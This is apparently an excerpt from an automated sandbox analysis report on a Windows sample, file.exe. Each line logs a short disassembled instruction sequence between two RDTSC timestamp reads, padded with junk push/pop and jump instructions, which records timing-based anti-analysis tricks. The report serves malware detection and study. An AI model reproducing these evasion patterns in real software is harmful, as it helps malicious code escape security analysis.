Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E340DE second address: E340E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1569 second address: DF1581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F40B53604D1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DAA2 second address: E5DABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B4517B26h 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DABF second address: E5DAE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F40B53604C6h 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e jmp 00007F40B53604D1h 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DAE3 second address: E5DAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DAE7 second address: E5DAEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DAEB second address: E5DAF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DAF5 second address: E5DAFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DCBC second address: E5DCC6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F40B4517B16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DF3F second address: E5DF48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DF48 second address: E5DF4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63A7D second address: E63A8D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F40B53604CAh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63A8D second address: E63A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63A91 second address: E63A95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E635BB second address: E635C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E635C3 second address: E635D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F40B53604C6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E635D4 second address: E635DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64546 second address: E6454C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6454C second address: E64556 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F40B4517B1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64556 second address: E64579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F40B53604D8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E64579 second address: E6458F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B4517B22h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6458F second address: E645A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F40B53604C6h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C58D second address: E6C5A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c jnl 00007F40B4517B16h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C6B3 second address: E6C6CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F40B53604D1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C6CC second address: E6C6DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C817 second address: E6C827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 jg 00007F40B53604D8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C827 second address: E6C82B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C967 second address: E6C971 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F40B53604D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CE0C second address: E6CE10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6CE10 second address: E6CE23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B53604CDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D8BD second address: E6D8ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F40B4517B16h 0x0000000a pop edi 0x0000000b push edi 0x0000000c jmp 00007F40B4517B29h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 js 00007F40B4517B22h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D8ED second address: E6D8F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDBAC4 second address: DDBAC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDBAC9 second address: DDBACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDBACF second address: DDBAD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7388B second address: E7388F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7388F second address: E738B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F40B4517B26h 0x0000000d jmp 00007F40B4517B1Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73A11 second address: E73A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73A15 second address: E73A25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73A25 second address: E73A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F40B53604C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73A2F second address: E73A45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B22h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73A45 second address: E73A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E73A4F second address: E73A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E765A1 second address: E765A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E765A5 second address: E765B5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F40B4517B16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E765B5 second address: E76602 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F40B53604D4h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jl 00007F40B53604C6h 0x00000015 jmp 00007F40B53604CCh 0x0000001a jmp 00007F40B53604D9h 0x0000001f popad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76602 second address: E76611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007F40B4517B16h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76611 second address: E76617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76617 second address: E7661D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7661D second address: E76621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76A98 second address: E76A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76A9C second address: E76AA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76AA2 second address: E76AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76AA8 second address: E76AB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F40B53604C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76AB2 second address: E76AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76AB6 second address: E76AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F40B53604C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E76AC5 second address: E76AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F40B4517B16h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F40B4517B28h 0x00000015 pushad 0x00000016 popad 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B964 second address: E7B968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7AEEA second address: E7AEEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7AEEE second address: E7AEF8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F40B53604C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B045 second address: E7B049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B049 second address: E7B051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B556 second address: E7B55A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B55A second address: E7B560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7B560 second address: E7B56A instructions: 0x00000000 rdtsc 0x00000002 je 00007F40B4517B1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80537 second address: E8053B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8053B second address: E8055A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F40B4517B24h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8055A second address: E8055F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8055F second address: E80564 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E806B3 second address: E806BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E806BF second address: E806C9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F40B4517B16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80803 second address: E80808 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80808 second address: E80821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F40B4517B20h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85543 second address: E85547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85547 second address: E8555B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F40B4517B16h 0x0000000e jbe 00007F40B4517B16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8555B second address: E85561 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8569F second address: E856A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E856A5 second address: E856BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jnp 00007F40B53604C6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8580E second address: E85862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40B4517B28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F40B4517B1Eh 0x0000000f pop eax 0x00000010 jp 00007F40B4517B22h 0x00000016 pushad 0x00000017 jmp 00007F40B4517B23h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85C2B second address: E85C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85C35 second address: E85C5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B4517B29h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jnc 00007F40B4517B16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85C5D second address: E85C61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E339E5 second address: E33A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F40B4517B22h 0x0000000f jnp 00007F40B4517B1Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85DCD second address: E85DDB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F40B53604C8h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85DDB second address: E85DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85DE1 second address: E85DF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F40B53604C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85F57 second address: E85F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40B4517B1Dh 0x00000009 jmp 00007F40B4517B1Ah 0x0000000e jbe 00007F40B4517B16h 0x00000014 popad 0x00000015 jne 00007F40B4517B1Eh 0x0000001b jl 00007F40B4517B26h 0x00000021 jmp 00007F40B4517B1Ah 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85F99 second address: E85FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85FA3 second address: E85FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85FA7 second address: E85FAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E869F4 second address: E86A08 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F40B4517B1Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86A08 second address: E86A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D453 second address: E8D458 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D5A3 second address: E8D5A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D853 second address: E8D859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D859 second address: E8D860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8D860 second address: E8D866 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8DB4A second address: E8DB5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F40B53604CAh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8DB5B second address: E8DB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jnp 00007F40B4517B16h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8DB6C second address: E8DB72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8DB72 second address: E8DB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F40B4517B16h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8DE2E second address: E8DE40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pushad 0x00000007 push esi 0x00000008 jp 00007F40B53604C6h 0x0000000e pop esi 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8DE40 second address: E8DE7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jbe 00007F40B4517B31h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F40B4517B29h 0x00000012 pushad 0x00000013 jmp 00007F40B4517B20h 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8E429 second address: E8E42F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E940F6 second address: E940FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
